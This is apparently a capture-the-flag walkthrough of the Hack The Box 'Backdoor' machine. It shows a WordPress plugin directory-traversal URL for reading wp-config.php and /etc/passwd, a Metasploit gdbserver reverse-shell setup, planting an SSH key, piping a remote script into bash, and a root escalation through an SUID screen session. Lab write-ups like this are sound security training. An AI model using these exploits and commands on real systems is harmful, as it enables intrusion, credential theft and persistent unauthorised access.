Walkthrough: Backdoor - Hack The Box

12 minute read

Backdoor Info Card

In this box, we exploit a vulnerable Wordpress plugin to look through the /proc directory. This leads us to a running gdbserver instace, which we leverage to get a shell on the box. From there, we leverage our SUID privileges for screen and a detached root screen session to root the box.

Nmap

First, we’ll start by running nmap. We’re not under a time crunch here, so we’ll just enumerate as much as we can by using the -A and -p- options.

nmap -A -p- -T4 10.10.11.125

Note: The box’s IP was 10.10.11.125 when I completed this.

Results:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-14 19:56 EST
Warning: 10.10.11.125 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.125
Host is up (0.24s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor – Real-Life
1337/tcp  open     waste?
43783/tcp filtered unknown
47302/tcp filtered unknown
51239/tcp filtered unknown
58902/tcp filtered unknown
60976/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 984.06 seconds
Port Service Product/Version Notes
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) This is a pretty recent version of SSH. This isn’t likely to be the way in.
80 HTTP Apache httpd 2.4.41 ((Ubuntu)) There isn’t much special about this version of Apache either. The website is probably where I’ll go first though.
1337 waste?   This is interesting. There isn’t enough info to determine what it is yet though. We’ll come back to this later.

Foothold

Going to http://10.10.11.125 sends us to a wordpress site that looks like it pretty much hasn’t been touched, aside from replacing the contents of the homepage with some text about the Sweedish Museum of Modern Art.

There a link to a site called backdoor.htb, which we can add to our hosts file by running:

sudo nano /etc/hosts

and then adding this line:

10.10.11.125  backdoor.htb

All this does is bring us to what seems to be the same site.

It looks like they’re leaving directory listing on, which should make it easier to manually enumerate stuff like plugins and themes. Going to /wp-content/ shows the directory listing.

If we go to http://backdoor.htb/wp-content/plugins/, we can see that there’s a plugin called ebook-download.

Going into that folder shows us a file called readme.txt. Opening it describes a plugin that can be used to allow people to download your ebook if they put in an email address. It also shows that the version that’s running is version 1.1.

Some quick googling for “wordpress ebook download exploit” shows that there’s a directory traversal vulnerability in version 1.1.

The vulnerability works by simply going to the right URL. Here’s the sample exploit path:

/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

If we add our domain onto the front, we get this

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

If we put this URL into our browser, we get back a download of the wp-config file!

User

Going to this URL gets us the /etc/passwd file

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false

Looks like the only two users with shell access are root and user.

While looking around the system, I figured I’d create a script (which I called file_load.sh) to make things easier:

#! /bin/bash

BASE="http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../.."
FILE=$1

URL=$BASE
URL+=$FILE

curl -s $URL

After making the file executable (with chmod +x file_load.sh), all you have to do is run ./file_load.sh <filename> and you get back the file.

This took a lot of digging around, but the files that ended up being the most useful were /proc/net/tcp and /proc/sched_debug . Here are some links (1, 2) that go deeper into the /proc filesystem and what all these files do.

/proc/net/tcp:

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 36243 1 0000000000000000 100 0 0 10 0                     
   1: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 36245 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:15B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1000        0 647405 1 0000000000000000 100 0 0 10 0                    
   3: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 32267 1 0000000000000000 100 0 0 10 0                     
   4: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 33602 1 0000000000000000 100 0 0 10 0                     
   5: 7D0B0A0A:E02C 01010101:0035 02 00000001:00000000 01:00000149 00000002   101        0 647404 2 0000000000000000 400 0 0 1 7                     
   6: 7D0B0A0A:B5E2 1B100A0A:01BB 01 00000000:00000000 00:00000000 00000000  1000        0 627543 1 0000000000000000 38 4 26 10 -1                   
   7: 7D0B0A0A:8728 3F0E0A0A:115C 01 00000000:00000000 00:00000000 00000000  1000        0 515836 1 0000000000000000 24 4 31 10 10                   
   8: 7D0B0A0A:0539 1B100A0A:8888 01 00000000:00000000 02:0007E04E 00000000  1000        0 599419 2 0000000000000000 52 4 12 10 38   

Here we can see a few of the ports that were opened by our user (UID 1000). They’re hex-encoded, but can be easily switched back to decimal using a tool like this one from RapidTables. The ports opened by UID 1000 are 5555 (15B3), 46562 (B5E2), 34600 (8728), and 1337 (0539). There’s that 1337 port we saw open earlier. Seems like that should be our next way in. We just need to figure out how to connect to it.

/proc/sched_debug (abridged):

Sched Debug Version: v0.11, 5.4.0-80-generic #90-Ubuntu
ktime                                   : 68784828.820476
sched_clk                               : 68785293.346785
cpu_clk                                 : 68784924.951576
jiffies                                 : 4312088484
sched_clock_stable()                    : 1

[...]

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1      3113.646302     28468   120         0.000000      6818.043354         0.000000 0 0 /autogroup-2
 I         rcu_gp     3      7740.423548         4   100         0.000000         0.031911         0.000000 0 0 /
 I     rcu_par_gp     4        15.970053         2   100         0.000000         0.001708         0.000000 0 0 /
[...]
 S           bash 164652         0.538051         1   120         0.000000         1.811467         0.000000 0 0 /autogroup-932
 S      gdbserver 164653       143.808993       686   120         0.000000       171.403338         0.000000 0 0 /autogroup-932
 S           bash 164870       761.529968       235   120         0.000000       117.235479         0.000000 0 0 /autogroup-935
[...]
 S          sleep 179340    543731.309540         1   120         0.000000         0.999984         0.000000 0 0 /autogroup-61

cpu#1, 2294.609 MHz
  .nr_running                    : 2
  .nr_switches                   : 13710520
  .nr_load_updates               : 0
  .nr_uninterruptible            : -16
  .next_balance                  : 4312.088501
  .curr->pid                     : 88298
  .clock                         : 68784927.354497
  .clock_task                    : 68784927.354497
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

[...]

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S       kthreadd     2    972446.880543       509   120         0.000000        26.262679         0.000000 0 0 /
 S        cpuhp/1    15      6224.457258        11   120         0.000000         0.111004         0.000000 0 0 /
[...]
 S        apache2 177262    244868.370907     17935   120         0.000000     12533.586502         0.00
 I kworker/u256:1 178046   1028474.318445       778   120         0.000000        26.767364         0.00
 I    kworker/1:0 178112   1028475.439127      4308   120         0.000000       293.455831         0.00

This file has a lot of info. What’s of interest to us here though are the running processes that are listed. Now this is still a lot to handle and unfortunately as far as I know there’s not really a way to easily identify what’s important and what’s not, aside from experience. After doing a lot of digging into these processes, one jumped out as the most interesting: gdbserver.

As it turns out, gdbserver is a remote debugging program for the GNU Debugger (gdb). This sounds like a good candidate for what might be running on port 1337.

Because of the way gdbserver is configured on the box, only one person can be connected to it at a time. You may have to reset the box to get it to work. If you run nmap -p 1337 10.10.11.125 and the port shows as “closed”, that means someone has already used it.

Here’s a little script that will print out a new line whenever it detects that port 1337 is open:

while true
do
	nmap -p 1337 10.10.11.125 | grep "open"
	sleep 10
done

Checking out gdb on metasploit, we can see that there is a metasploit module available for this. We’ll use it for simplicity and reliability. Just run

msfconsole
use exploit/multi/gdb/gdb_server_exec

to get the module started.

Next, run info to list all of the options. Here are the settings we want to change:

  • TARGET: 1
  • RHOSTS: 10.10.11.125
  • RPORT: 1337
  • PAYLOAD: linux/x64/meterpreter/reverse_tcp
  • LHOST: <Your IP>
  • LPORT: 9002 (choose whatever you want)

We’re using Target 1 (x86_64) and the x64 payload because the machine is an x64 (64-bit) machine, not an x86 (32-bit) machine.

Run

set <SETTING NAME> <SETTING VALUE>

a few times to set the appropriate values.

After setting all of those options, waiting for port 1337 to open up, and running

run

we should get a meterpreter session back. This is good enough to get user.txt, but it would be nice to have a better shell, so let’s get ourselves ssh access.

First, run

ssh-keygen

to make yourself a key on your local machine. I called mine key.

Next run

cat key.pub #or whatever you called your key with ".pub" at the end

to get the contents of your public key.

Now on our meterpreter session we’ll do this:

cd ~
mkdir .ssh
cd .ssh
echo "<CONTENTS OF YOUR PUBLIC KEY>" >> authorized_keys
chmod 600 authorized_keys

Now we can log into the box as user

ssh -i key [email protected]

Root

Enumeration

Let’s start by running linPEAS. First, download the latest linpeas.sh file from the github.

We’ll set up a web server on our local machine (using the folder with linpeas.sh as the working directory)

python -m http.server

Then on the ssh session, just run

curl http://<YOUR IP ADDRESS>:8000/linpeas.sh | bash

and linPEAS will start running automatically.

This identified a few paths for us:

╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                                                                                                                         
Sudo version 1.8.31                                                                                                                                                                                                

Vulnerable to CVE-2021-4034

Vulnerable to CVE-2021-3560

╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes 
root         848  0.0  0.0   2608  1832 ?        Ss   03:14   0:01      _ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root ;; done

╔══════════╣ Checking Pkexec policy
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2                                                                                                              
                                                                                                                                                                                                                   
[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin

Firstly there are the two sudo vulnerabilities, which are vulnerabilities in a package called polkit. These would most likely work here, but really they aren’t the intended privilege escalation vectors.

Looking more into the Pkexec vulnerability, we’d need credentials, so that’s out of contention.

The process mentioned does look interesting though. We’ll search through some man pages to figure out what’s really going on here.

From the find manpage:

EXPRESSION

The part of the command line after the list of starting points is the expression. This is a kind of query specification describing how we match files and what we do with the files that were matched. An expression is composed of a sequence of things:

Tests Tests return a true or false value, usually on the basis of some property of a file we are considering. The -empty test for example is true only when the current file is empty.

Actions Actions have side effects (such as printing something on the standard output) and return either true or false, usually based on whether or not they are successful. The -print action for example prints the name of the current file on the standard output.

-empty File is empty and is either a regular file or a directory.

-exec command ; Execute command; true if 0 status is returned. All following arguments to find are taken to be arguments to the command until an argument consisting of ; is encountered. The string {} is replaced by the current file name being processed everywhere it occurs in the arguments to the command, not just in arguments where it is alone, as in some versions of find. Both of these constructions might need to be escaped (with a \) or quoted to protect them from expansion by the shell. See the EXAMPLES section for examples of the use of the -exec option. The specified command is run once for each matched file. The command is executed in the starting directory. There are unavoidable security problems surrounding use of the -exec action; you should use the -execdir option instead.

So the find /var/run/screen/S-root/ -empty part of the command finds only empty files or directories in that /var/run/screen/S-root/ directory (including the directory itself). For each matched file, screen -dmS root is then executed.

From the screen manpage:

-m

causes screen to ignore the $STY environment variable. With “screen -m” creation of a new session is enforced, regardless whether screen is called from within another screen session or not. This flag has a special meaning in connection with the ‘-d’ option:

-d

-m Start screen in “detached” mode. This creates a new session but doesn’t attach to it. This is useful for system startup scripts.

-S sessionname

When creating a new session, this option can be used to specify a meaningful name for the session. This name identifies the session for “screen -list” and “screen -r” actions. It substitutes the default [tty.host] suffix.

so screen -dmS root creates a new detatched session called “root”, which runs as the root user.

Also interestingly, we have SUID (Set UID) privileges for screen. We can see that in the output of linPEAS, but we can also check it with this command

find / -perm -4000 2>/dev/null #Find all SUID binaries

Output:

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec

We can also see where screen is saving its sessions for our user with this command

screen -list

Output:

No Sockets found in /run/screen/S-user.

If I were a betting man, I’d wager that /run/screen/S-root is the folder where the root screen sessions are stored. What that means is that the command we looked at earlier has the effect of keeping a detached root screen session open all the time, because if the screen session is ever closed, the find command will match on the /run/screen/S-root directory itself (because it is empty) and then execute another screen session in detatched mode.

Now we just need to figure out how to use our SUID privileges to attach to that session. Here’s another snippet from the manpage for screen:

-r [pid.tty.host]

-r sessionowner/[pid.tty.host]

resumes a detached screen session. No other options (except combinations with -d/-D) may be specified, though an optional prefix of [pid.]tty.host may be needed to distinguish between multiple detached screen sessions. The second form is used to connect to another user’s screen session which runs in multiuser mode. This indicates that screen should look for sessions in another user’s directory. This requires setuid-root.

This looks like it could work, as long as the config for screen has multiuser turned on by default. We’d just have to try to connect to root/root.

Let’s try it. We’ll run

screen -r root/root

and we get back a root shell! Now we can just run cat ~/root.txt and we get the root flag.

Updated: